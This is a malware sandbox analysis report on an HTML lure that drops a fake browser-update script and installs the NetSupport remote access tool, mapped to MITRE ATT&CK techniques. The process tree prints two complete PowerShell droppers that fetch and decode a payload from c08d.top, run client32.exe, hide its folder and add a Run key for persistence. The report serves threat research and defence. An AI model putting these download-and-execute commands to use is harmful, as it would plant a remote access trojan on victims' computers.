netsupport | 82ddf074c4a3eada480979953ff59750cae41723995a601abc01268569c2038d

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
05-08-2024 14:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

astronomicspace.com_main.html
Size

12.6MB
MD5

05573c6b7a7f22701ac8053d4fc7c55c
SHA1

9daf45a1592d0bb5bebfdc35857d634a6889081a
SHA256

82ddf074c4a3eada480979953ff59750cae41723995a601abc01268569c2038d
SHA512

572546e637a4fd57f326b3f54cf5c9c12a5cf24d82b33da8ced077651385f5c45f14c89b676c245f414cecd6f309fc92486f01bdcfa8110fe9f550730251ea13
SSDEEP

49152:MT44Fx9csgNhxf30trtv0OWuGi0EfdxQI4DRjIzAyOEaW3TzqXCBLN1DfVNjDu06:b

Score

10^/10

netsupport discovery execution persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://c08d.top/data.php?10030

exe.dropper

http://c08d.top/data.php?10030

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://c08d.top/data.php?10758

exe.dropper

http://c08d.top/data.php?10758

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 4 IoCs

flow	pid	Process
29	3584	WScript.exe
32	2292	powershell.exe
41	1828	WScript.exe
55	5448	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2292	powershell.exe
5448	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 2 IoCs

pid	Process
2240	client32.exe
3276	client32.exe

Loads dropped DLL 10 IoCs

pid	Process
2240	client32.exe
2240	client32.exe
2240	client32.exe
2240	client32.exe
2240	client32.exe
3276	client32.exe
3276	client32.exe
3276	client32.exe
3276	client32.exe
3276	client32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\IVNHOLAFBUI = "C:\\Users\\Admin\\AppData\\Roaming\\MGHMLGXPLRT8\\client32.exe"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MQOWA = "C:\\Users\\Admin\\AppData\\Roaming\\RCJBYXJFG7\\client32.exe"	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client32.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings	msedge.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4048	msedge.exe
4048	msedge.exe
1200	msedge.exe
1200	msedge.exe
3188	msedge.exe
3188	msedge.exe
4188	identity_helper.exe
4188	identity_helper.exe
2292	powershell.exe
2292	powershell.exe
2292	powershell.exe
5448	powershell.exe
5448	powershell.exe
5448	powershell.exe
6068	msedge.exe
6068	msedge.exe
6068	msedge.exe
6068	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	2292	powershell.exe
Token: SeRestorePrivilege	1428	7zG.exe
Token: 35	1428	7zG.exe
Token: SeSecurityPrivilege	1428	7zG.exe
Token: SeSecurityPrivilege	1428	7zG.exe
Token: SeSecurityPrivilege	2240	client32.exe
Token: SeDebugPrivilege	5448	powershell.exe

Suspicious use of FindShellTrayWindow 37 IoCs

pid	Process
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1428	7zG.exe
2240	client32.exe
2240	client32.exe
2240	client32.exe

Suspicious use of SendNotifyMessage 25 IoCs

pid	Process
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
1200	msedge.exe
2240	client32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1200 wrote to memory of 3080	1200	msedge.exe	84
PID 1200 wrote to memory of 3080	1200	msedge.exe	84
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 1872	1200	msedge.exe	85
PID 1200 wrote to memory of 4048	1200	msedge.exe	86
PID 1200 wrote to memory of 4048	1200	msedge.exe	86
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87
PID 1200 wrote to memory of 1448	1200	msedge.exe	87

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\astronomicspace.com_main.html
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff80fb246f8,0x7ff80fb24708,0x7ff80fb24718
  2⤵
  PID:3080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2044,16695743782629436998,13025569022035444563,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2212 /prefetch:2
  2⤵
  PID:1872
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2044,16695743782629436998,13025569022035444563,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2044,16695743782629436998,13025569022035444563,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2740 /prefetch:8
  2⤵
  PID:1448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,16695743782629436998,13025569022035444563,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
  2⤵
  PID:2084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,16695743782629436998,13025569022035444563,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
  2⤵
  PID:1056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2044,16695743782629436998,13025569022035444563,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5216 /prefetch:8
  2⤵
  PID:2496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,16695743782629436998,13025569022035444563,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5264 /prefetch:1
  2⤵
  PID:3904
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2044,16695743782629436998,13025569022035444563,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5272 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3188
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2044,16695743782629436998,13025569022035444563,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5876 /prefetch:8
  2⤵
  PID:2848
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2044,16695743782629436998,13025569022035444563,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5876 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,16695743782629436998,13025569022035444563,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5552 /prefetch:1
  2⤵
  PID:4072
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,16695743782629436998,13025569022035444563,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5976 /prefetch:1
  2⤵
  PID:2204
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,16695743782629436998,13025569022035444563,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6432 /prefetch:1
  2⤵
  PID:4596
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,16695743782629436998,13025569022035444563,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6392 /prefetch:1
  2⤵
  PID:1008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2044,16695743782629436998,13025569022035444563,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5256 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6068

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4072

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3176

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2320

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Temp1_Update - 93788.zip\Update 126.0.6478.127.js"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
PID:3584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $GELSURL='http://c08d.top/data.php?10030';$JEJPKXYXL=(New-Object System.Net.WebClient).DownloadString($GELSURL);$KOGX=[System.Convert]::FromBase64String($JEJPKXYXL);$asd = Get-Random -Minimum -10 -Maximum 17; $WDPAMWA=[System.Environment]::GetFolderPath('ApplicationData')+'\RCJBYXJFG'+$asd;if (!(Test-Path $WDPAMWA -PathType Container)) { New-Item -Path $WDPAMWA -ItemType Directory };$p=Join-Path $WDPAMWA 'CCleaner.zip';[System.IO.File]::WriteAllBytes($p,$KOGX);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$WDPAMWA)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $WDPAMWA 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $WDPAMWA -Force; $fd.attributes='Hidden';$s=$WDPAMWA+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='MQOWA';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2292
- - C:\Users\Admin\AppData\Roaming\RCJBYXJFG7\client32.exe
    "C:\Users\Admin\AppData\Roaming\RCJBYXJFG7\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2240

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap9215:90:7zEvent19918
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1428

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\Update 126.0.6478.127.js"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
PID:1828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $WIJDAX='http://c08d.top/data.php?10758';$OBJPWX=(New-Object System.Net.WebClient).DownloadString($WIJDAX);$YBSFUHUBHTB=[System.Convert]::FromBase64String($OBJPWX);$asd = Get-Random -Minimum -10 -Maximum 17; $QNDS=[System.Environment]::GetFolderPath('ApplicationData')+'\MGHMLGXPLRT'+$asd;if (!(Test-Path $QNDS -PathType Container)) { New-Item -Path $QNDS -ItemType Directory };$p=Join-Path $QNDS 'CCleaner.zip';[System.IO.File]::WriteAllBytes($p,$YBSFUHUBHTB);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$QNDS)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $QNDS 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $QNDS -Force; $fd.attributes='Hidden';$s=$QNDS+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='IVNHOLAFBUI';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5448
- - C:\Users\Admin\AppData\Roaming\MGHMLGXPLRT8\client32.exe
    "C:\Users\Admin\AppData\Roaming\MGHMLGXPLRT8\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:3276

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
15ce4e5094fc27bc25d3b30b808d5e1a

SHA1
18ec0079a0b4dac78fede2ddccb99bd73e5a6046

SHA256
dd1b9a493109eccd8f922416321fcf60c09ab140ad092607114fae04755486c9

SHA512
a55b4790b4afa2dda021def1d39622fdc16a1f4d20f448ae2aff1b078bf0abdd4f55b82fbb88646bffc588b4c1a09e86bc1bc50f6d6977df038ec66ecdec490a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
ab8ce148cb7d44f709fb1c460d03e1b0

SHA1
44d15744015155f3e74580c93317e12d2cc0f859

SHA256
014006a90e43ea9a1903b08b843a5aab8ad3823d22e26e5b113fad5f9fa620ff

SHA512
f685423b1eaee18a2a06030b4b2977335f62499c0041c142a92f6e6f846c2b9ce54324b6ae94efbbb303282dcda70e2b1597c748fddc251c0b3122a412c2d7c4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
38f59a47b777f2fc52088e96ffb2baaf

SHA1
267224482588b41a96d813f6d9e9d924867062db

SHA256
13569c5681c71dc42ab57d34879f5a567d7b94afe0e8f6d7c6f6c1314fb0087b

SHA512
4657d13e1bb7cdd7e83f5f2562f5598cca12edf839626ae96da43e943b5550fab46a14b9018f1bec90de88cc714f637605531ccda99deb9e537908ddb826113b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
183B

MD5
9e1275231d0007b3a42906cdadb34ea6

SHA1
de552221fd88afa25f6cdeceed2c825d4b40e41e

SHA256
3ac46af51f438f21927049f96db54e3060b81606bc3c1acfae0e125ac5c530e8

SHA512
5db406df1b09a4bc46c299deb653b949ab1dc6701977c5d964d1969333ea620585a5773ab3557ca87d19d18727e040a38285aca132828ff3491bb40a1dbee521

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
014edde02ef0f423fceb0c44e17c426b

SHA1
548cad7089581b9fa0419af3f59018786c35d3ca

SHA256
ac9d5ee6efb46fe5c1d94a15a0db48d99f754f9280af9906b5e6576893d9fb2c

SHA512
231e952f78947c6c549abc11d2a72aff3ccf0d6bfeb6e9d32bf557195680abe795698533589148575955f64b3102dc3b2722dda366468152506b6546bede250e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
543a112bc17c7857a2dc748cd58f2f21

SHA1
a67393fd72d1f325e9955d0154ac45795bf046ab

SHA256
1af19dfc1f62b52418286c3468ccd43fbcc8cc35753f083ccc1cb8855c42f534

SHA512
54a6e788601f6c13156f5b7289e668da28141e2c6fa1ef00e7b3d8e06fa75def3ceee02af85f7d656d3628f420c8f3318fff188d5a45427ce242dfeda018d520

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
68c28c9432d1867466fa06193b1d1267

SHA1
f6d5b1129c2f1d4fc3550436b96f56acdaad5328

SHA256
5b519f461ccaa987a65ebd3c233f6e7a707ecff1431d1e17924afca36e9c44d2

SHA512
f315b9535a0f3db8207aa5f87128ecf7691173c69dcfd3ee45ed0bfcb952cf537cc88c8b2420b3804b7217eb0bcb7f1f95f89b4ee19ac2e00c46c89353310076

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
f13ce313c85a4d68421de5359fbef91c

SHA1
5618bd78f46c88c7e047f5ffe88b55b66340b2c2

SHA256
9970a63944179af215d2c7ed2bd308c7f798192c1a2d680527ca1b2ab4afd2d6

SHA512
7d465c8ef971462147d4fff51ef7e567445b95f65db00d117d0f4a75422f2fa8d27b06389248e5237c2985da71ccb973f75405ec300b2595aca7f16990a201cd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
64330f285698f91837eb9ca20cc7088b

SHA1
c4cf692ca435898fe19777ed31d868c143493c88

SHA256
bdb36af41f406fbf05fa398d0177df5f7e9e16c3b7ac2952403e19c7c1626cbc

SHA512
823496d20e508461ac9848b2e1b325b919b0b1f272e33a0edc91830bb8b953b142856c99ac40e1c1d6021808d7931df46b6c453c0913b9aa961302188c3d563b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\JACP9GNT\updates[1].js

Filesize
2.7MB

MD5
